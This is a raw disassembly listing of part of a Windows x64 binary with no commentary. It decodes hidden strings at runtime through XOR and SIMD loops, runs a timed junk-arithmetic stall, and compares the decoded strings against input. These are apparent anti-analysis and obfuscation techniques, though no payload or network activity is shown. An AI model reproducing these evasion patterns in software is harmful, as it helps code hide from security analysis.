cmp qword [rsp + 0xe20], 0x10
cmovae rdx, qword [rsp + 0xe08]
mov r8, qword [rsp + 0xe18]
lea rcx, [rsp + 0xad0]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0xeb8], xmm0
mov qword [rsp + 0xec8], rsi
mov qword [rsp + 0xed0], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xeb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xec8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0xad0]
call fcn.140259200
movzx eax, word [0x1402a957c]
mov word [rsp + 0x78], ax
cmp byte [0x1402a957d], 0
je 0x1402405f5
mov byte [rsp + 0x78], 0x2e
xor byte [rsp + 0x79], 0x43
lea rax, [rsp + 0x78]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140240601
mov rax, r12
mov rdx, qword [rsp + 0xdf8]
sub rax, rdx
cmp rax, rcx
jb 0x14024b566
lea r9, [rsp + 0xde8]
cmp qword [rsp + 0xe00], 0x10
cmovae r9, qword [rsp + 0xde8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xaf0]
call fcn.14025e2d0
nop
lea rdx, [rsp + 0xe48]
cmp qword [rsp + 0xe60], 0x10
cmovae rdx, qword [rsp + 0xe48]
mov r8, qword [rsp + 0xe58]
lea rcx, [rsp + 0xaf0]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0xf18], xmm0
mov qword [rsp + 0xf28], rsi
mov qword [rsp + 0xf30], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xf18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xf28], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0xaf0]
call fcn.140259200
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x3b34], 0xffffffff
mov dword [rsp + 0x27b4], eax
mov rdx, rbx
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x27b4], eax
inc rdx
cmp rdx, 0x270
jb 0x140240700
mov dword [rsp + 0x27b0], 0x270
mov dword [rsp + 0x70], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024074f
imul rax, rax, 0x64
jmp 0x14024076a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r12, [rax + 0x5f5e100]
mov qword [rsp + 0xe0], r12
nop dword [rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14024079e
imul rax, rax, 0x64
jmp 0x1402407b9
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r12
jge 0x1402409b3
mov qword [rsp + 0x230], 0x186a0
nop
lea rcx, [rsp + 0x27b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14024080b
nop dword [rax + rax]
lea rcx, [rsp + 0x27b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402407f0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
mov eax, 1
cmove ebx, eax
lea rcx, [rsp + 0x27b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov r12d, ebx
cmp eax, 0xc9
jae 0x14024087b
cmp eax, 0x64
jae 0x14024087b
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x27b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140240860
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x70]
add edx, eax
mov dword [rsp + 0x70], edx
lea rcx, [rsp + 0x27b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, r12d
cmp eax, 0xc9
jae 0x1402408eb
cmp eax, 0x64
jae 0x1402408eb
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x27b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402408d0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x70]
imul edx, eax
mov dword [rsp + 0x70], edx
lea rcx, [rsp + 0x27b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
mov r12d, ebx
cmp eax, 0xc9
jae 0x14024095b
cmp eax, 0x64
jae 0x14024095b
nop word [rax + rax]
lea rcx, [rsp + 0x27b0]
call fcn.140265db0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140240940
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x70]
sub eax, ecx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv r12d
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv r12d
mov dword [rsp + 0x70], edx
sub qword [rsp + 0x230], 1
jne 0x1402407d0
mov r12, qword [rsp + 0xe0]
jmp 0x140240780
mov eax, dword [rsp + 0x70]
cmp qword [rsp + 0xe38], 3
jbe 0x1402409d9
lea rdx, [rsp + 0xe28]
lea rcx, [rsp + 0xe28]
call fcn.1402576e0
jmp 0x140240a16
movzx eax, word [0x1402aa630]
mov word [rsp + 0xa4], ax
cmp byte [0x1402aa631], 0
je 0x140240a01
mov byte [rsp + 0xa4], 0x78
xor byte [rsp + 0xa5], 0x43
lea rdx, [rsp + 0xa4]
lea rcx, [rsp + 0xe28]
call fcn.1402576c0
mov eax, dword [0x1402ab9bc]
mov dword [rsp + 0x88], eax
movzx eax, word [0x1402ab9c0]
mov word [rsp + 0x8c], ax
mov byte [rsp + 0x88], 0x43
xor byte [rsp + 0x89], 0x43
xor byte [rsp + 0x8a], 0x45
xor byte [rsp + 0x8b], 0x47
xor byte [rsp + 0x8c], 0x49
xor byte [rsp + 0x8d], 0x4b
lea rcx, [rsp + 0x88]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140240a71
lea rcx, [rsp + 0xd70]
cmp qword [rsp + 0xd88], 0x10
cmovae rcx, qword [rsp + 0xd70]
mov r8, qword [rsp + 0xd80]
cmp r8, rax
jne 0x140240ab6
lea rdx, [rsp + 0x88]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140240e48
mov eax, dword [0x1402aa9d0]
mov dword [rsp + 0x170], eax
movzx eax, byte [0x1402aa9d4]
mov byte [rsp + 0x170], 0x4e
xor byte [rsp + 0x171], 0x43
xor byte [rsp + 0x172], 0x45
xor byte [rsp + 0x173], 0x47
xor al, 0x49
mov byte [rsp + 0x174], al
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0xd70]
call fcn.14025acb0
test al, al
jne 0x140240e48
mov eax, dword [0x1402aabb8]
mov dword [rsp + 0x164], eax
mov r12d, dword [0x1402bd008]
cmp byte [0x1402aabbb], 0
je 0x140240ca7
cmp r12d, 2
jl 0x140240c3e
mov ebx, 6
movd xmm5, ebx
mov ecx, 0x1f
movd xmm7, ecx
movdqa xmm8, xmmword [0x1402ad0a0]
movdqa xmm4, xmm8
punpckldq xmm4, xmm8
movdqa xmm2, xmm8
punpckhdq xmm2, xmm8
movdqa xmm6, xmm4
pmuldq xmm6, xmmword [0x1402ad190]
movdqa xmm0, xmm2
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm6, xmm0, 0xdd
paddd xmm6, xmm8
psrad xmm6, xmm5
pmuldq xmm4, xmmword [0x1402ad180]
pmuldq xmm2, xmmword [0x1402ad180]
shufps xmm4, xmm2, 0xdd
psubd xmm4, xmm8
psrad xmm4, xmm5
movdqa xmm1, xmm4
psrld xmm1, xmm7
paddd xmm1, xmm4
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm6
psrld xmm0, xmm7
paddd xmm0, xmm6
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm8, xmm0
pshuflw xmm0, xmm8, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
pxor xmm3, xmm0
movd dword [rsp + 0x164], xmm3
jmp 0x140240cac
lea r10, [rsp + 0x164]
mov r9d, esi
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140240c50
mov ebx, 6
lea rdx, [rsp + 0x164]
lea rcx, [rsp + 0xd70]
call fcn.14025acb0
test al, al
jne 0x140240e48
mov eax, dword [0x1402aae28]
mov dword [rsp + 0x178], eax
movzx eax, byte [0x1402aae2c]
mov byte [rsp + 0x178], 0x42
xor byte [rsp + 0x179], 0x43
xor byte [rsp + 0x17a], 0x45
xor byte [rsp + 0x17b], 0x47
xor al, 0x49
mov byte [rsp + 0x17c], al
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0xd70]
call fcn.14025acb0
test al, al
jne 0x140241b1c
mov eax, dword [0x1402a9648]
mov dword [rsp + 0x190], eax
cmp byte [str.GqzvwI], 0
je 0x140241b1c
cmp r12d, 2
jl 0x140241b1c
movd xmm5, ebx
mov ebx, 0x1f
movd xmm7, ebx
movdqa xmm8, xmmword [0x1402ad0a0]
movdqa xmm4, xmm8
punpckldq xmm4, xmm8
movdqa xmm2, xmm8
punpckhdq xmm2, xmm8
movdqa xmm6, xmm4
pmuldq xmm6, xmmword [0x1402ad190]
movdqa xmm0, xmm2
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm6, xmm0, 0xdd
paddd xmm6, xmm8
psrad xmm6, xmm5
pmuldq xmm4, xmmword [0x1402ad180]
pmuldq xmm2, xmmword [0x1402ad180]
shufps xmm4, xmm2, 0xdd
psubd xmm4, xmm8
psrad xmm4, xmm5
movdqa xmm1, xmm4
psrld xmm1, xmm7
paddd xmm1, xmm4
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm6
psrld xmm0, xmm7
paddd xmm0, xmm6
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm8, xmm0
pshuflw xmm0, xmm8, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
pxor xmm3, xmm0
movd dword [rsp + 0x190], xmm3
jmp 0x140241b21
mov eax, dword [0x1402aa548]
mov dword [rsp + 0x338], eax
movzx eax, byte [0x1402aa54c]
movups xmm1, xmmword [0x1402aa538]
movups xmm0, xmmword [0x1402aa528]
mov byte [rsp + 0x33c], al
movups xmmword [rsp + 0x328], xmm1
movups xmmword [rsp + 0x318], xmm0
mov r9d, esi
mov r12d, dword [0x1402bd008]
mov ebx, 0x1f
cmp r12d, 2
jl 0x1402410c7
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov r8d, 6
movd xmm7, r8d
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
movd xmm9, ebx
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x31c]
mov edx, dword [rsp + 0xe0]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm7
pmuldq xmm4, xmm8
pmuldq xmm1, xmm8
shufps xmm4, xmm1, 0xdd
psubd xmm4, xmm5
psrad xmm4, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm11
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140240f00
cmp r9d, 0x25
jge 0x14024113d
movsxd rax, r9d
lea r10, [rsp + 0x318]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x25
jl 0x1402410e0
mov r8d, 6
mov eax, dword [str.an5gI]
mov dword [rsp + 0xa8], eax
movzx eax, byte [0x1402ac208]
mov byte [rsp + 0xa8], 0x20
xor byte [rsp + 0xa9], 0x43
xor byte [rsp + 0xaa], 0x45
xor byte [rsp + 0xab], 0x47
xor al, 0x49
mov byte [rsp + 0xac], al
mov eax, dword [str.an0gI]
mov dword [rsp + 0xf0], eax
movzx eax, byte [0x1402a975c]
mov byte [rsp + 0xf0], 0x20
xor byte [rsp + 0xf1], 0x43
xor byte [rsp + 0xf2], 0x45
xor byte [rsp + 0xf3], 0x47
xor al, 0x49
mov byte [rsp + 0xf4], al
movups xmm0, xmmword [str.ang:__._8_8_eNLe]
movups xmmword [rsp + 0x288], xmm0
movzx eax, word [0x1402ab8b0]
mov word [rsp + 0x298], ax
movzx eax, byte [0x1402ab8b2]
mov byte [rsp + 0x29a], al
mov r9d, esi
cmp r12d, 2
jl 0x140241417
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, r8d
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
movd xmm9, ebx
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x28c]
mov edx, dword [rsp + 0xe0]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140241250
cmp r9d, 0x13
jge 0x14024148d
movsxd rax, r9d
lea r10, [rsp + 0x288]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x13
jl 0x140241430
mov r8d, 6
movsd xmm0, qword [str.l_e____sx_y_]
movsd qword [rsp + 0x210], xmm0
mov eax, dword [0x1402aaa08]
mov dword [rsp + 0x218], eax
movzx eax, word [0x1402aaa0c]
mov word [rsp + 0x21c], ax
cmp byte [0x1402aaa0d], 0
je 0x140241727
mov r9d, esi
cmp r12d, 2
jl 0x1402416ba
movdqa xmm7, xmmword [0x1402ad190]
movd xmm9, r8d
movdqa xmm8, xmmword [0x1402ad180]
movd xmm11, ebx
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.l_e____sx_y_]
pxor xmm3, xmm0
movd dword [rsp + 0x210], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x214]
pxor xmm3, xmm1
movd dword [rsp + 0x214], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x210]
add r10, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x1402416d0
lea rax, [rsp + 0x210]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140241736
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xce0]
sub rax, rdx
cmp rax, rcx
jb 0x14024b56c
lea rax, [rsp + 0xcd0]
cmp qword [rsp + 0xce8], 0x10
cmovae rax, qword [rsp + 0xcd0]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x210]
lea rcx, [rsp + 0xb10]
call fcn.14025e2d0
nop
lea rax, [rsp + 0x288]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402417b0
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0xb10]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x680], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x690], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x680], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x690], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xeb8]
cmp qword [rsp + 0xed0], 0x10
cmovae rdx, qword [rsp + 0xeb8]
mov r8, qword [rsp + 0xec8]
lea rcx, [rsp + 0x680]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x610], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x620], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x610], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x620], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0xf0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140241890
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x610]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x5f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x600], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x5f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x600], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0xf18]
cmp qword [rsp + 0xf30], 0x10
cmovae rdx, qword [rsp + 0xf18]
mov r8, qword [rsp + 0xf28]
lea rcx, [rsp + 0x5f0]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x5d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x5d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x5e0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rsp + 0xa8]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140241970
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x5d0]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0x650], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x660], xmm1
movups xmm0, xmmword [rax]
